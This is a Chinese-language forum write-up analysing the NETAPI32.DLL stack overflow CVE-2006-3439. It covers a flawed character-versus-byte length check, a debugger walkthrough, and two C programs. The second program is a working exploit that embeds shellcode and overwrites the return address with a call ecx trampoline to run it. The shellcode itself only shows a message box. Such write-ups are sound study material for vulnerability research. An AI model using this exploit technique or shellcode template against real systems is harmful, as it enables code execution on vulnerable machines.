-
-
[原创]经典漏洞分析:windows cve-2006-3439
-
发表于: 2026-1-26 14:58 753
-
漏洞文件:NETAPI32.DLL
漏洞函数:sub_7517FC68
静态分析
sub_7517FC68函数

这里存在一个检测,但是由于使用了返回“字符数”的 wcslen,却与一个按“字节容量”推算的常量( 0x411 )进行比较,所以出现了溢出
(v5是前缀长度,也就是strings)
栈缓冲容量与检查阈值不匹配: 在 NETAPI32.DLL:0x7517fc6b 处为 Destination 分配 0x414 字节,即 1044 字节,等于 522 个 wchar_t 。 但长度检查在 NETAPI32.DLL:0x7517fcfe 比较的是 v5 + wcslen(Source) > 0x411 (1041 个宽字符)。 允许的最大长度被错误地设为 1041,而缓冲区只有 522,因此大量超长输入会“通过检查”,随后被无界拼接。


所以漏洞根源就是 栈缓冲真实容量是522个 wchar_t

但长度检查用的是0x411 也就是1041

(注意下面还有一个v5+len(source))
所以我们主要关心,第一个第二个参数

看调用链NetpwPathCanonicalize


第一个和第四个参数

这里先调用了NetpwPathType函数

看一下做了什么处理
长度小于0x103

那总结下来,第一个参数strings,最大是0x206h(String 最大字符数 = 0x103, String 最大字节数 0x206 字节),缓冲区大小:0x414 字节 522 个 wchar_t。
剩余空间 = 0x414 - 0x206 = 0x20E 字节,字节数: 0x41C = 1052 字节
字符数:0x41C ÷ 2 = 0x20E = 526 字符
v5 + wcslen(Source) = 259 + 526 = 785 785 < 1041 ✓ 通过检查 实际字节: 0x206 + 0x41C = 0x622 字节 0x622 > 0x414 ✓ 成功溢出 溢出量: 0x622 - 0x414 = 0x20E = 526 字节
检查层面 (字符数) 实际内存 (字节数) String: 259 字符 518 字节 (0x206) ↓ ↓ Source: 526 字符 1052 字节 (0x41C) ↓ ↓ 总计: 785 字符 1570 字节 (0x622) ↓ ↓ 对比: < 1041 ✓通过 > 1044 ✗溢出 代码用 wcslen(字符数)检查,但 wcscat 写入的是字节数,宽字符是 1:2 的关系,导致检查通过但实际溢出!、 wcslen 返回字符数 n 实际占用字节数 = n × 2 检查: n₁ + n₂ < 1041 ✓ 实际: (n₁ + n₂) × 2 > 1044 ✗ 差值被放大了 2 倍
动态调试
cpp调用dll
#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
int main()
{
// 设置第二段路径字符串的长度为0x21A
char lpWideCharStr[0x21A];
// 设置用于接收格式化后的字符串的缓冲区空间为0x420
char arg_4[0x420];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
// 设置第一段路径字符串的长度为0x206,正好是门限大小
char arg_C[0x206];
long arg_10 = 1;
HINSTANCE libHandle; MYPROC funcAddr;
// 加载NETAPI32.dll函数
char dllName[] = "./NETAPI32.dll";
libHandle = LoadLibrary(dllName);
// 获取函数NetpwPathCanonicalize()的地址
funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == NULL || funcAddr == NULL )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
}
// 将路径字串的第一部分内容填充‘A’,末两位以\x00结束
memset(arg_C, 0, sizeof(arg_C));
memset(arg_C, 'A', sizeof(arg_C)-2);
// 将路径字串的第二部分内容填充‘B’,末两位以\x00结束
memset(lpWideCharStr, 0, sizeof(lpWideCharStr));
memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);
// 调用NetpwPathCanonicalize()函数
(funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}总体思路就是 首先通过 LoadLibrary 加载 NETAPI32.dll,并以 GetProcAddress 取得 NetpwPathCanonicalize 入口;随后向第一参数写入 1052 字节“B”字符,第四参数写入 518 字节“A”字符。函数内部拼接后路径总长 0x622 字节,而输出缓冲区仅 0x414 字节,致使 0x20E 字节(526 字节)数据越界覆盖栈内关键结构,从而触发缓冲区溢出。
在memery断点,调试看一下
断点 执行报错

右键项目 → Properties 同样进入 C/C++ → Precompiled Headers 把 “Precompiled Header” 设为 “Not Using Precompiled Headers” 如果项目里原来有 stdafx.cpp,也可以把它从工程中移除或排除
预编译头的问题,在前面加上
#include "stdafx.h"
重新运行

转到地址

步过

再步过 已经被AAA填充(缓冲区空间-2)

lpWideCharStr参数也同样


然后用OD看一下
执行到main函数位置

步入

步过 执行jmp过去
main函数在401010这里

但这里是main,还没加载我们的loadlibrary

下断点,执行到这里(执行到loadlibrary
然后就加载进来了,然后跳到 NetpwPathCanonicalize(如果没执行loadlibrary是没法跳转的

执行这里时候 返回地址会先被压入栈

重点关注返回地址这个位置
跟踪到数据

下一个硬件断点

运行 发现是75FD10影响的
MSVCRT.wcscat 是 Microsoft Visual C Runtime (MSVCRT) 提供的一个 C 标准库函数,其作用是:
将宽字符字符串(wchar_t*)拼接到另一个宽字符字符z串的末尾。
0012F254 00000103 0012F258 0012F688 0012F25C 7517FD10 RETURN to NETAPI32.7517FD10 from MSVCRT.wcscat

跟过去看一下 实际上就是之前ida分析的宽字符位置

在这里下断点
运行到这里

此时这个缓冲区起始位置 已经被0x204个A填满
最后一位是00 也就是\

然后执行过这个函数,缓冲区就被B填满了

并且刚才我们看的返回地址位置,已经被覆盖成B

我们看一下,在哪写入跳板指令
返回地址偏移是是 212,213,214,215
然后选择跳板指令
执行完函数 pop ecx,把栈顶地址存到ecx
这时候存的就是0012F274,缓冲区空间的起始位置
就可以利用call ecx执行

也就是说自己写shellcode到前面,然后ret到call ecx这里执行shellcode即可
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
char ShellCode[] =
"\x33\xDB" // xor ebx,ebx
"\xB7\x06" // mov bh,6
"\x2B\xE3" // sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\xB9\xFE\xB9\xFE" // push "哈哈"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\xB2\xE2\xCA\xD4"
"\x68\xD2\xE7\xB3\xF6" // push "溢出测试"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0" ; // call ExitProcess
int main()
{
// 设置第二段路径字符串的长度为0x21A
char lpWideCharStr[0x21A];
// 设置用于接收格式化后的字符串的缓冲区空间为0x420
char arg_4[0x420];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
// 设置第一段路径字符串的长度为0x206,正好是门限大小
char arg_C[0x206];
long arg_10 = 1;
HINSTANCE libHandle; MYPROC funcAddr;
// 加载NETAPI32.dll函数
char dllName[] = "./NETAPI32.dll";
libHandle = LoadLibrary(dllName);
LoadLibrary("user32.dll");
// 获取函数NetpwPathCanonicalize()的地址
funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == NULL || funcAddr == NULL )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
}
// 将路径字串的第一部分内容填充‘A’,末两位以\x00结束
memset(arg_C, 0, sizeof(arg_C));
memset(arg_C, 'A', sizeof(arg_C)-2);
// 将路径字串的第二部分内容填充‘B’,末两位以\x00结束
memset(lpWideCharStr, 0, sizeof(lpWideCharStr));
memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);
// 将shellcode植入溢出代码的起始位置
memcpy(arg_C, ShellCode, sizeof(ShellCode));
// call ecx
lpWideCharStr[0x212] = 0xF9;
lpWideCharStr[0x213] = 0x52;
lpWideCharStr[0x214] = 0x18;
lpWideCharStr[0x215] = 0x75;
// 调用NetpwPathCanonicalize()函数
(funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}
运行shellcode
main函数

执行到loadlibrary后

然后跳到拼接函数

下一条语句是pop ecx

这时候栈顶空间是0012F274
那执行过去就会执行shellcode
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!